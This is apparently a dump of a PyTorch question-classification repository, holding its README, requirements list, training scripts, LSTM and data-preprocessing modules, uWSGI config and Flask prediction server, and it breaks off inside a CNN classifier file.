based neural network architecture that try to solve disadvantages of LSTM and CNN. LSTM is good for long-term dependency, but it is slow since it learn in sequential manner. Also, CNN can use parallelism with convolution function, but it cannot learn long-term dependencies. The theory behind QRNN is published in [Quasi Recurrent Neural Networks](https://arxiv.org/abs/1611.01576).\n\n## Run training to save model and get test accuracy and loss\nExample Python file are provided as example for training. For every training, please add new git commit if you indicate use_git = True in parameter json file to ensure there is no clash in saving result.\n\nQRNN\n```\npython train_qrnn.py --path train_rnn_parameter.json\n```\n\nLSTM\n```\npython train_lstm.py --path train_rnn_parameter.json\n```\n\nCNN\n```\npython train_cnn.py --path train_cnn_parameter.json\n```\nThe result are saved under result_folder_path. For accuracy & loss plot, use tensorboard to visualize them (will be explained).\n\n## k-fold Cross Validation of model\nQRNN\n```\npython train_cv_qrnn.py --path train_rnn_parameter.json\n```\n\nLSTM\n```\npython train_cv_lstm.py --path train_rnn_parameter.json\n```\n\nCNN\n```\npython train_cv_cnn.py --path train_cnn_parameter.json\n```\nNote: currently the cross validation result are printed to console, not saved \n\n## JSON file for training model\nThe JSON file are already prepared with appropriate setting. You can have parameter name different from example, but it is best to follow the example.Most of the setting are for model hyperparameter, loss function parameter, and optimizer parameter that has same parameter name as the model, loss function, and optimizer itselves.\nBesides that, another parameter that important:\n1. \"epoch\": number of epochs\n2. \"batch_size\": batch size of training data\n3. \"max_text_length\": max lenght of a sentence (must be indicated for CNN)\n4. \"train_dataset_path\": train data path\n5. \"dev_dataset_path\": test data path\n6. \"result_folder_path\": where to save result such as best model, test accuracy (not available for cross validation)\n7. \"use_git\": whether to use current commit information for better result versioning. if true result_folder_path become result_folder_path/branch_name_commit_date\n8. \"n_folds\": number of k-fold for cross validation\n9. \"saved_model_file_path\": file path relative to result_folder_path to save trained model\n10. \"saved_text_pipeline_file_path\": file path relative to result_folder_path to save text preprocessing data\n11. \"saved_label_pipeline_file_path\": file path relative to result_folder_path to save label preprocessing data\n12. \"train_log_folder_path\": file path relative to result_folder_path to save train plot for tensorboard\n13. \"dev_log_folder_path\": file path relative to result_folder_path to save test/evaluation plot for tensorboard.\n14. \"confusion_matrix_folder_path\": folder path relative to result_folder_path to save confusion matrix of test result.\n15. \"pretrained_word_embedding_name\": name of pretrained word embedding vectors. Currently support word2vec and GloVe (glove.6B.300d)\n16. \"pretrained_word_embedding_path\": path to word embedding vectors file (support word2vec only example: \"../dataset/GoogleNews-vectors-negative300.bin\")\n\nPlease look at the json file and try to run training first to understand more\n\n## View train & test accuracy and loss plot with tensorboard\nPlease run\n```\ntensorboard --logdir=[result_folder_path] --host 0.0.0.0\n```\nTo view graph of test loss and accuracy.\n\n## REST API server\nTo run in debug mode please run\n```\npython rest_api_server.py --path rest_api_param.json\n```\nThe json file contain important parameter that need to be updated\n1. \"saved_model_file_path\": path where the trained model saved\n2. \"debug_log_file_path\": file path to debug log\n3. \"error_log_file_path\": file path to error log\n4. \"saved_text_pipeline_file_path\": data.Field preprocessing information from questions in dataset (it should be in current directory after training)\n5. \"saved_label_pipeline_file_path\": data.Field preprocessing information from labels in dataset (it should be in current directory after training)\n\nTo run for production, we use uwsgi as server and nginx for receiving simultaneous\nplease look at [A Guide to Scalling Machine Learning Models in Productions](https://hackernoon.com/a-guide-to-scaling-machine-learning-models-in-production-aa8831163846).\nThe .ini file is already prepared as uwsgi.ini\n\nCurrently, the endpoint to get prediction:\n```\nGET IP_ADDRESS/predict?question='question to be predicted'\n```\n\n## Telegram bot for trying model\nThere is available python file for running Telegram bot as UI for trying the classification model. Please look for tutorial how to make Telegram bot first. After that, run:\n```\npython telegram_bot.py --token TELEGRAM_TOKEN --ip http://0.0.0.0:port\n```\n--token is found after createing telegram bot. --ip is the target url to REST API model.\nAlso, google sheet can used for logging prediction and user suggestion, but it is not used by default. You can try to look how to setup google sheet api and use google_sheet_api.py as example. " }, { "alpha_fraction": 0.49659863114356995, "alphanum_fraction": 0.6991103887557983, "avg_line_length": 15.911504745483398, "blob_id": "ec3a2502c45f72af33185fb36202d83c398a08e3", "content_id": "077b6f4c397c123a3584353c94ee8496b9287795", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1911, "license_type": "no_license", "max_line_length": 32, "num_lines": 113, "path": "/requirements.txt", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "absl-py==0.1.13\nastor==0.6.2\nbleach==3.1.4\ncertifi==2018.4.16\nchainer==3.5.0\nchardet==3.0.4\nclick==6.7\ncycler==0.10.0\ncymem==1.31.2\ncytoolz==0.8.2\ndecorator==4.2.1\ndill==0.2.7.1\nentrypoints==0.2.3\nenum34==1.1.6\nfastrlock==0.3\nfilelock==3.0.4\nFlask==0.12.2\nftfy==4.4.3\nfuture==0.16.0\ngast==0.2.0\ngitdb2==2.0.3\nGitPython==2.1.8\ngoogle-api-python-client==1.6.5\ngrpcio==1.10.0\nhtml5lib==0.9999999\nhttplib2==0.18.0\nidna==2.6\nipykernel==4.8.2\nipython==6.2.1\nipython-genutils==0.2.0\nipywidgets==7.1.2\nitsdangerous==0.24\njedi==0.11.1\nJinja2==2.10\njsonschema==2.6.0\njupyter==1.0.0\njupyter-client==5.2.3\njupyter-console==5.2.0\njupyter-core==4.4.0\nMarkdown==2.6.11\nMarkupSafe==1.0\nmatplotlib==2.1.2\nmistune==0.8.3\nmsgpack-numpy==0.4.1\nmsgpack-python==0.5.4\nmurmurhash==0.28.0\nnbconvert==5.3.1\nnbformat==4.4.0\nnotebook==5.7.8\nnumpy==1.14.2\noauth2client==4.1.2\nonnx==1.1.2\npandas==0.22.0\npandas-ml==0.5.0\npandocfilters==1.4.2\nparso==0.1.1\npathlib==1.0.1\npexpect==4.4.0\npickleshare==0.7.4\nPillow==5.1.0\nplac==0.9.6\npreshed==1.0.0\nprompt-toolkit==1.0.15\nprotobuf==3.5.2.post1\nptyprocess==0.5.2\npyasn1==0.4.2\npyasn1-modules==0.2.1\npycparser==2.18\nPygments==2.2.0\npyparsing==2.2.0\npython-dateutil==2.6.1\npython-telegram-bot==9.0.0\nPyTorch-QRNN==0.2.1\npytz==2017.3\nPyYAML==3.12\npyzmq==17.0.0\nqtconsole==4.3.1\nregex==2017.4.5\nrequests==2.18.4\nrsa==3.4.2\nscikit-learn==0.19.1\nscipy==1.0.0\nseaborn==0.8.1\nSend2Trash==1.5.0\nsimplegeneric==0.8.1\nsimplejson==3.13.2\nsix==1.11.0\nsmmap2==2.0.3\ntensorboard==1.7.0\ntensorboard-logger==0.0.4\ntensorboardX==1.2\ntensorflow==1.7.0\ntensorflow-gpu==1.4.1\ntensorflow-tensorboard==0.4.0rc3\ntermcolor==1.1.0\nterminado==0.8.1\ntestpath==0.3.1\nthinc==6.10.2\ntoolz==0.9.0\ntorchtext==0.2.3\ntorchwordemb==0.0.8\ntornado==5.0.1\ntqdm==4.23.0\ntraitlets==4.3.2\nujson==5.2.0\nuritemplate==3.0.0\nurllib3==1.22\nuWSGI==2.0.17\nuwsgitop==0.10\nwcwidth==0.1.7\nWerkzeug==0.14.1\nwidgetsnbextension==3.1.4\nwrapt==1.10.11\n" }, { "alpha_fraction": 0.6178725957870483, "alphanum_fraction": 0.6178725957870483, "avg_line_length": 30.23958396911621, "blob_id": "e868ad0b1fd386705b6fbe11f470b07edb7e13ab", "content_id": "9ab3d10418733b25314e4d085fde5f3b80a7b17a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2999, "license_type": "no_license", "max_line_length": 127, "num_lines": 96, "path": "/utils.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import json\nimport git\nimport os\nimport time\n\nclass DotDict(dict):\n '''\n dot.notation access to dictionary attributes\n\n Inputs: dict: dict\n - dict: a non-empty dict\n '''\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delattr__\n\ndef filter_dotdict_class_propoperty(dotdict_object, class_blueprint):\n '''\n Generate new dotdict with properties exist in class_blueprint\n \n Inputs: dotdict_object (dotdict), class_blueprint (Object)\n - dotdict_object: an instance of dotdict\n - class_blueprint: a class where its properties act as filter for dotdict_object\n\n Outputs: dotdict_object: dotdict\n\n '''\n varnames = class_blueprint.__init__.__code__.co_varnames\n new_dotdict = DotDict({k:v for (k, v) in dotdict_object.items() if k in varnames})\n return new_dotdict\n\ndef load_training_parameter_from_json(path):\n '''\n Load parameters from json file to DotDict.\n\n Inputs: path (str)\n - path: path of the json file\n \n Outputs: dotdict_object (DotDict)\n - dotdict_object: loaded parameter\n '''\n\n json_object = json.load(open(path, \"r\"))\n dotdict_object = DotDict(json_object)\n\n # use git versioning\n if dotdict_object.use_git:\n repo = git.Repo(os.getcwd())\n headcommit = repo.head.commit\n current_branch = repo.active_branch.name\n\n #get current branch + time stamp\n version = current_branch + \"_commited_at_\" + time.strftime(\"%a_%d_%b_%Y_%H_%M\", time.gmtime(headcommit.committed_date))\n \n # new result folder path\n dotdict_object.result_folder_path = os.path.join(dotdict_object.result_folder_path, version)\n\n return dotdict_object\n\ndef load_rest_api_parameter_from_json(path):\n '''\n Load parameters from json file to DotDict.\n\n Inputs: path (str)\n - path: path of the json file\n \n Outputs: dotdict_object (DotDict)\n - dotdict_object: loaded parameter\n '''\n json_object = json.load(open(path, \"r\"))\n dotdict_object = DotDict(json_object)\n\n return dotdict_object\n\nclass FactoryClass:\n '''\n Class for generating an intance of a class\n\n Inputs: class_constructor (Class), param_dict (dict)\n - class_constructor: a class that will be used to create instance\n - param_dict: a dict contains parameter for the class_constructor\n '''\n def __init__(self, class_contructor, param_dict = {}):\n\n self.class_contructor = class_contructor\n self.param_dict = param_dict\n \n def create_class(self, new_param_dict={}):\n '''\n Create new instance of class constructor\n\n Inputs: new_param_dict (dict)\n - new_param_dict : dict of new parameter that is not available at param_dict\n '''\n new_object = self.class_contructor(**self.param_dict, **new_param_dict)\n return new_object\n" }, { "alpha_fraction": 0.7992957830429077, "alphanum_fraction": 0.8010563254356384, "avg_line_length": 36.24590301513672, "blob_id": "2fb998ddc2b98a16c96712a570ca2cb885a55df6", "content_id": "161ff381c0357757bfa8ce5a4a4d81569164816b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2272, "license_type": "no_license", "max_line_length": 190, "num_lines": 61, "path": "/train_qrnn_cv.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import time\n\nimport numpy as np\n\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom model_module.qrnn_classifier import QRNNClassifier\n\nfrom data_module.data_preprocessor import *\n\nimport os\nimport random\n\nimport datetime\n\nfrom model_module.model_runner import ModelRunner\n\nfrom utils import load_training_parameter_from_json, filter_dotdict_class_propoperty, FactoryClass\n\nfrom data_module.data_writer import LearningWriter, PreprocessingPipelineWriter\n\nimport argparse\n\nnp.random.seed(1)\ntorch.manual_seed(1)\ntorch.cuda.manual_seed_all(1)\nrandom.seed(1)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--path\", help=\"path parameter json file\")\nparam_json_path = parser.parse_args().path\n\nparam = load_training_parameter_from_json(param_json_path)\nqrnn_parameter = filter_dotdict_class_propoperty(param, QRNNClassifier)\n\npreprocessing_pipeline_writer = PreprocessingPipelineWriter(param.result_folder_path, param.saved_text_pipeline_file_path, param.saved_label_pipeline_file_path)\n\ntrain_data, dev_data, vocab_size, label_size, label_map, pretrained_embedding_weight = load_dataset(\n param.train_dataset_path, param.dev_dataset_path, param.max_text_length, preprocessing_pipeline_writer,\n pretrained_word_embedding_name = param.pretrained_word_embedding_name, pretrained_word_embedding_path = param.pretrained_word_embedding_path\n)\n\nqrnn_parameter.vocab_size = vocab_size\nqrnn_parameter.label_size = label_size\nqrnn_parameter.pretrained_embedding_weight = pretrained_embedding_weight\n\nmodel_factory = FactoryClass(QRNNClassifier, qrnn_parameter)\n\nloss_factory = FactoryClass(nn.NLLLoss)\n\noptimizer_param_dict = filter_dotdict_class_propoperty(param, optim.Adam)\noptimizer_factory = FactoryClass(optim.Adam, optimizer_param_dict)\n\nlearning_logger = LearningWriter(label_map, param.result_folder_path, param.saved_model_file_path, param.train_log_folder_path, param.dev_log_folder_path, param.confusion_matrix_folder_path)\nmodel_runner = ModelRunner(model_factory, loss_factory, optimizer_factory, param.epoch, param.batch_size, learning_logger, param.use_gpu)\nstart_time = time.time()\nmodel_runner.learn_cv(train_data, param.n_folds)\nprint(\"Overall time elapsed {} sec\".format(time.time() - start_time))\n" }, { "alpha_fraction": 0.7928483486175537, "alphanum_fraction": 0.7981915473937988, "avg_line_length": 37.015625, "blob_id": "daeced4d69344fc6b905a26a4c4def21911fba86", "content_id": "89db8c15a9c3bed615bb4e26eca591a5dcaad3c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2433, "license_type": "no_license", "max_line_length": 190, "num_lines": 64, "path": "/train_lstm.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import time\n\nimport numpy as np\n\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom model_module.lstm_classifier import LSTMClassifier\n\nfrom data_module.data_preprocessor import *\n\nimport os\nimport random\n\nimport datetime\n\nfrom model_module.model_runner import ModelRunner\n\nfrom utils import load_training_parameter_from_json, filter_dotdict_class_propoperty, FactoryClass\n\nfrom data_module.data_writer import LearningWriter, PreprocessingPipelineWriter\n\nimport argparse\n\nnp.random.seed(1)\ntorch.manual_seed(1)\ntorch.cuda.manual_seed_all(1)\nrandom.seed(1)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--path\", help=\"path parameter json file\")\nparam_json_path = parser.parse_args().path\n\nparam = load_training_parameter_from_json(param_json_path)\nlstm_parameter = filter_dotdict_class_propoperty(param, LSTMClassifier)\n\npreprocessing_pipeline_writer = PreprocessingPipelineWriter(param.result_folder_path, param.saved_text_pipeline_file_path, param.saved_label_pipeline_file_path)\n\ntrain_data, dev_data, vocab_size, label_size, label_map, pretrained_embedding_weight = load_dataset(\n param.train_dataset_path, param.dev_dataset_path, param.max_text_length, preprocessing_pipeline_writer,\n pretrained_word_embedding_name = param.pretrained_word_embedding_name, pretrained_word_embedding_path = param.pretrained_word_embedding_path\n)\n\nlstm_parameter.vocab_size = vocab_size\nlstm_parameter.label_size = label_size\nlstm_parameter.pretrained_embedding_weight = pretrained_embedding_weight\n\nmodel_factory = FactoryClass(LSTMClassifier, lstm_parameter)\n\nloss_factory = FactoryClass(nn.NLLLoss)\n\noptimizer_param_dict = filter_dotdict_class_propoperty(param, optim.Adam)\noptimizer_factory = FactoryClass(optim.Adam, optimizer_param_dict)\n\n#optimizer = optim.Adagrad(update_parameter, lr=1e-3)\n#optimizer = optim.RMSprop(update_parameter, lr=parameter.learning_rate, alpha=0.99, eps=1e-8, weight_decay=5e-4)\n\nlearning_logger = LearningWriter(label_map, param.result_folder_path, param.saved_model_file_path, param.train_log_folder_path, param.dev_log_folder_path, param.confusion_matrix_folder_path)\nmodel_runner = ModelRunner(model_factory, loss_factory, optimizer_factory, param.epoch, param.batch_size, learning_logger, param.use_gpu)\nstart_time = time.time()\nmodel_runner.learn(train_data, dev_data)\nprint(\"Overall time elapsed {} sec\".format(time.time() - start_time))\n" }, { "alpha_fraction": 0.6185395121574402, "alphanum_fraction": 0.6202067136764526, "avg_line_length": 39.5, "blob_id": "07e5750f56ba5fb3ab0b19dd203d5fc904b73035", "content_id": "a967bc44152b4dc0801035ca45aacf8cd524b02f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2999, "license_type": "no_license", "max_line_length": 184, "num_lines": 74, "path": "/model_module/lstm_classifier.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.nn.functional as F\n\nclass LSTMClassifier(nn.Module):\n '''\n LSTMClassifier is classification module based on LSTM\n Args:\n embedding_dim (int): The size of word vector.\n vocab_size (int): The number of words/tokens in vocabulary.\n label_size (int): The number of possible labels.\n hidden_dim: The number of features in the hidden state h of QRNN\n pretrained_embedding_weight (torch.Tensor): The pretrained word vectors (optional).\n train_embedding_layer (bool): Whether to train embedding layer or let embedding layer to be fixed.\n num_layers (int): The number of layers of QRNN.\n dropout (float): The probability of dropout in QRNN and dropout layer.\n use_gpu (bool): Whether to use GPU or not\n \n Inputs: x:\n - x (seq_len, batch, input_size): tensor containing the features of the input sequence.\n \n Output: logsoftmax\n - logsoftmax (batch, label_size) : tensor result of log softmax\n '''\n def __init__(self, embedding_dim, hidden_dim, vocab_size, label_size, pretrained_embedding_weight = None, train_embedding_layer = True,num_layers = 1, dropout = 0, use_gpu = True):\n super().__init__()\n\n #initialize properties\n self.hidden_dim = hidden_dim\n self.num_layers = num_layers\n self.use_gpu = use_gpu\n \n ## create nn module\n self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n if not (pretrained_embedding_weight is None): #use pretrained word vectors\n self.word_embeddings.weight.data = pretrained_embedding_weight\n self.word_embeddings.weight.requires_grad = train_embedding_layer\n self.lstm = nn.LSTM(embedding_dim, hidden_dim, dropout=dropout, num_layers=num_layers)\n self.dropout = nn.Dropout(dropout)\n self.hidden_to_label = nn.Linear(hidden_dim, label_size)\n\n #use gpu\n if use_gpu:\n self.cuda()\n \n def init_hidden(self):\n \"\"\"\n Initialize weight of hidden\n \"\"\"\n # the first is the hidden h\n # the second is the cell c\n h = torch.zeros(self.num_layers, self.batch_size, self.hidden_dim)\n c = torch.zeros(self.num_layers, self.batch_size, self.hidden_dim)\n\n if self.use_gpu:\n h = h.cuda()\n c = c.cuda()\n \n self.hidden = (autograd.Variable(h),\n autograd.Variable(c))\n \n def forward(self, sentence):\n #get batch size and init hidden\n self.batch_size = sentence.data.shape[1]\n self.init_hidden()\n \n embeds = self.word_embeddings(sentence) # (N,W,D)\n x = embeds.view(len(sentence), self.batch_size, -1)\n out, self.hidden = self.lstm(x, self.hidden)\n out = self.dropout(out)\n y = self.hidden_to_label(out[-1])\n log_probs = F.log_softmax(y)\n return log_probs\n\n\n" }, { "alpha_fraction": 0.6330029964447021, "alphanum_fraction": 0.6364637613296509, "avg_line_length": 36.122806549072266, "blob_id": "21bdd974cfe560fcf67bee764eb3043d6a556881", "content_id": "8dc561f9344dc23858948841d6c86473faf075de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6357, "license_type": "no_license", "max_line_length": 220, "num_lines": 171, "path": "/data_module/data_preprocessor.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import numpy as np\nimport re\nimport itertools\nfrom collections import Counter\nimport json\nfrom torchtext import data\nimport codecs\nfrom sklearn.model_selection import KFold\nimport torchwordemb\nimport dill as pickle\nimport spacy\n\n# load English model\nspacy_nlp = spacy.load('en')\n\ndef clean_str(string):\n '''\n Tokenization/string cleaning for all datasets except for SST.\n Original taken from https://github.com/yoonkim/CNN_sentence/blob/master/process_data.py\n '''\n string = re.sub(r\"[^A-Za-z0-9(),!?\\'\\`@-]\", \" \", string)\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\",\", \" , \", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\(\", \" ( \", string)\n string = re.sub(r\"\\)\", \" ) \", string)\n string = re.sub(r\"\\?\", \" ? \", string)\n string = re.sub(r\"\\s{2,}\", \" \", string)\n return string.strip().lower()\n\nclass QuestionWrapper(data.Dataset):\n '''\n A class wrapper for createing torchtext.data.Dataset instance for preprocessing question in production\n\n Inputs: text_field (data.Field), question (string)\n - text_field : loaded data.Field for preprocessing question\n - question : question sent by user\n '''\n def __init__(self, text_field, question, **kwargs):\n fields = [('text', text_field)]\n question = clean_str(question)\n examples = []\n examples.append(data.Example.fromlist([question], fields))\n\n super().__init__(examples, fields, **kwargs)\n\ndef preprocess_question(question, text_field, use_gpu = False):\n '''\n Preprocess question sent by user\n\n Inputs: question (string), text_field (data.Field), use_gpu (boolean)\n - question : question sent by user\n - text_field : loaded data.Field for preprocessing question\n - use_gpu : use gpu or not\n\n Outputs: text (Iterator)\n - text : Iterator of preprocessed question\n '''\n device = -1\n if use_gpu:\n device = None\n question_data = QuestionWrapper(text_field, question)\n _, question_iter = data.Iterator.splits(\n (question_data, question_data), batch_size=len(question_data),\n repeat=False, device = device\n )\n\n for batch in question_iter:\n text = batch.text\n\n return text\n\ndef get_label(label_tensor, label_field):\n '''\n Get label string from tensor result\n\n Inputs: label_tensor (tensor), label_field (data.Field)\n - label_tensor: tensor result of classification\n - label_field: loaded data.Field for label preprocessing\n '''\n pred_index = label_tensor.data.max(1)[1]\n pred_index = pred_index.cpu().numpy()[0]\n label_string = label_field.vocab.itos[pred_index]\n\n return label_string\n\ndef tokenizer(text):\n '''\n Tokenizer, includes clear string and lemmatization\n\n Inputs:\n - text (string): string to be tokenized\n \n Outputs:\n - tokens (list): list of tokens\n\n '''\n\n #clean string\n text = clean_str(text)\n\n #lemmatized\n lemmatized = spacy_nlp(text)\n text = ' '.join([token.lemma_ for token in lemmatized])\n \n #tokenizer from tensorflow.preprocessing library\n tokenizer_re = re.compile(r\"[A-Z]{2,}(?![a-z])|[A-Z][a-z]+(?=[A-Z])|[\\'\\w\\-]+\", re.UNICODE) \n return tokenizer_re.findall(text)\n\ndef load_dataset(train_path, dev_path, max_text_length, preprocessing_pipeline_writer, tokenizer = tokenizer, embedding_dim = 300, pretrained_word_embedding_name = \"glove.6B.300d\", pretrained_word_embedding_path = None):\n '''\n Load and preprocess dataset.\n\n Inputs:\n - train_path (string): Path to train dataset json\n - dev_path (string): Path to test/dev dataset json\n - max_text_length (integer): Max length of sentence. It pads dummy token up to max length\n - preprocessing_pipeline_writer (object): class for saving data.Field data\n - tokenizer (function): Tokenizer function\n - Embedding_dim (integer): size of word embedding dim\n - pretrained_word_embedding_name (string): name of pretrained word embedding. It can be glove.6B.300d or word2vec\n - pretrained_word_embedding_path (string): path to word embedding file. No need for glove.\n\n Outputs:\n - train_data (data.Dataset): train dataset\n - test_data (data.Dataset): test dataset\n - vocab_size (int): vocabulary size\n - label_size (int): size of possible label\n - label_vocab (dict): map from topic index number to topic label string\n - vectors : word embedding vectors\n '''\n\n # data.Field for preprocessing pipeline data\n text_field = data.Field(lower=True, tokenize=tokenizer, fix_length=max_text_length)\n label_field = data.LabelField()\n\n # load data\n print('loading data')\n train_data = data.TabularDataset(path=train_path, format='csv', skip_header=True, fields=[(\"text\", text_field), ('label', label_field)])\n dev_data = data.TabularDataset(path=dev_path, format='csv', skip_header=True, fields=[(\"text\", text_field), ('label', label_field)])\n \n # build vocabulary\n print('building vocab')\n text_field.build_vocab(train_data, dev_data)\n label_field.build_vocab(train_data, dev_data)\n\n vectors = None\n\n # load word embedding vectors\n if pretrained_word_embedding_name == \"word2vec\":\n vocab, vec = torchwordemb.load_word2vec_bin(pretrained_word_embedding_path)\n text_field.vocab.set_vectors(vocab, vec, embedding_dim)\n vectors = text_field.vocab.vectors\n elif \"glove\" in pretrained_word_embedding_name:\n text_field.vocab.load_vectors(pretrained_word_embedding_name)\n vectors = text_field.vocab.vectors\n \n # save data.Field\n preprocessing_pipeline_writer.save_pipeline(text_field, False)\n preprocessing_pipeline_writer.save_pipeline(label_field, True)\n \n vocab_size = len(text_field.vocab)\n print(\"vocab size \", vocab_size)\n label_size = len(label_field.vocab)\n\n return train_data, dev_data, vocab_size, label_size, label_field.vocab.itos, vectors\n\n\n\n\n \n" }, { "alpha_fraction": 0.3065875768661499, "alphanum_fraction": 0.3090852200984955, "avg_line_length": 51.86666488647461, "blob_id": "1d5bf16ef492dd408f3890f1508a5b399ff94a01", "content_id": "f1785a7dd5ec15127806fee716d6bcfb5b326d9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 3203, "license_type": "no_license", "max_line_length": 204, "num_lines": 60, "path": "/uwsgi.ini", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "[uwsgi]\n# placeholders that you have to change\nmy_app_folder = /home/michael/Question_Classifier_Pytorch\nmy_user = michael\n\nsocket = %(my_app_folder)/production_ml.sock\nchdir = %(my_app_folder)\nfile = rest_api_server.py\ncallable = app\n\n# environment variables\nenv = PYTHONPATH=%(my_app_folder):$PATH\nenv = LD_LIBRARY_PATH=$LD_LIBRARY_PATH\nenv = CUDA_HOME=$CUDA_HOME\n\nmaster = true\nprocesses = 1\n# allows nginx (and all users) to read and write on this socket\nchmod-socket = 666\n# remove the socket when the process stops\nvacuum = true\n\n# loads your application one time per worker\n# will very probably consume more memory,\n# but will run in a more consistent and clean environment.\nlazy-apps = true\n\nuid = %(my_user)\ngid = %(my_user)\n\n# uWSGI will kill the process instead of reloading it\ndie-on-term = true\n# socket file for getting stats about the workers\nstats = %(my_app_folder)/stats.production_ml.sock\n\n# Scaling the server with the Cheaper subsystem\n\n# set cheaper algorithm to use, if not set default will be used\ncheaper-algo = spare\n# minimum number of workers to keep at all times\ncheaper = 0\n# number of workers to spawn at startup\ncheaper-initial = 1\n# maximum number of workers that can be spawned\nworkers = 1\n# how many workers should be spawned at a time\nheaper-step = 1\n\npyargv = --path rest_api_param.json\n\n~ \n~ \n~ \n~ \n~ \n~ \n~ \n~ \n~ \n~ \n" }, { "alpha_fraction": 0.702724039554596, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 26.846153259277344, "blob_id": "982aac6dce2f4416d004a24092722b233e6e0791", "content_id": "d16b0417d3a58840162a4370b176ee7032afef2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2533, "license_type": "no_license", "max_line_length": 99, "num_lines": 91, "path": "/rest_api_server.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask import request\n\nimport sys\n\nimport torch\nfrom torchtext import data\n\nimport time\n\nfrom data_module.data_preprocessor import get_label, preprocess_question\n\nimport os\n\nfrom flask import jsonify\n\nimport logging\n\nimport dill as pickle\n\nimport argparse\n\nfrom utils import *\n\napp = Flask(__name__)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--path\", help=\"path parameter json file\")\nparam_json_path = parser.parse_args().path\n\n# load parameter\nparam = load_rest_api_parameter_from_json(param_json_path)\n\n# load model\nmodel = None\nif param.use_gpu:\n model = torch.load(param.saved_model_file_path)\nelse:\n model = torch.load(param.saved_model_file_path, map_location=lambda storage, location: storage)\n\n# Create the Logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n \n# Create the Handler for logging data to a file\nlogger_handler_debug = logging.FileHandler(param.debug_log_file_path)\nlogger_handler_debug.setLevel(logging.DEBUG)\n\n# Create the Handler for logging data to a file\nlogger_handler_error = logging.FileHandler(param.error_log_file_path)\nlogger_handler_error.setLevel(logging.ERROR)\n\n# Create a Formatter for formatting the log messages\nlogger_formatter = logging.Formatter('%(asctime)s - %(message)s')\n \n# Add the Formatter to the Handler\nlogger_handler_debug.setFormatter(logger_formatter)\nlogger_handler_error.setFormatter(logger_formatter)\n \n# Add the Handler to the Logger\nlogger.addHandler(logger_handler_debug)\nlogger.addHandler(logger_handler_error)\nlogger.info('Completed configuring logger()!')\n\n# load data.Field\ntext_field = pickle.load(open(param.saved_text_pipeline_file_path, \"rb\"))\nlabel_field = pickle.load(open(param.saved_label_pipeline_file_path, \"rb\"))\n\[email protected]('/predict', methods=['GET'])\ndef prediction():\n try:\n question = request.args.get('question')\n logger.info(\"Question: \" + question)\n x = preprocess_question(question, text_field, use_gpu=param.use_gpu)\n model.eval()\n t = time.time()\n y = model(x)\n dur = time.time() - t\n label_string = get_label(y, label_field)\n logger.info(\"Result: \" + str(label_string))\n logger.info(\"Duration: \" + str(dur))\n return jsonify({'result': str(label_string)})\n except:\n e = sys.exc_info()[0]\n logger.error(\"error \", str(e))\n response = jsonify({'error': str(e)})\n response.status_code = 400\n return response\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')" }, { "alpha_fraction": 0.6227173209190369, "alphanum_fraction": 0.6300219297409058, "avg_line_length": 47.05263137817383, "blob_id": "995f3067cc0ef03abc6497b351648184e3b7bf5e", "content_id": "d33408e55fd78200a80406e063fff0827b94da37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2738, "license_type": "no_license", "max_line_length": 183, "num_lines": 57, "path": "/model_module/cnn_classifier.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CNNClassifier(nn.Module):\n\n '''\n CNNClassifier is Question Classifier base on CNN\n\n Args:\n embedding_dim (int): The size of word vector.\n vocab_size (int): The number of words/tokens in vocabulary.\n label_size (int): The number of possible labels.\n kernel_num (int): The number of kernels/filters for each kernels/filters size\n kernel_sizes (str/list): The list of kernel sizes. It can be in string such as \"3, 4, 5\" or in list such as [3, 4, 5]\n pretrained_embedding_weight (torch.Tensor): The pretrained word vectors (optional).\n train_embedding_layer (bool): Whether to train embedding layer or let embedding layer to be fixed.\n dropout (float): The probability of dropout's action.\n use_gpu (bool): Whether to use GPU or not\n layers: List of preconstructed QRNN layers to use for the QRNN module (optional).\n\n 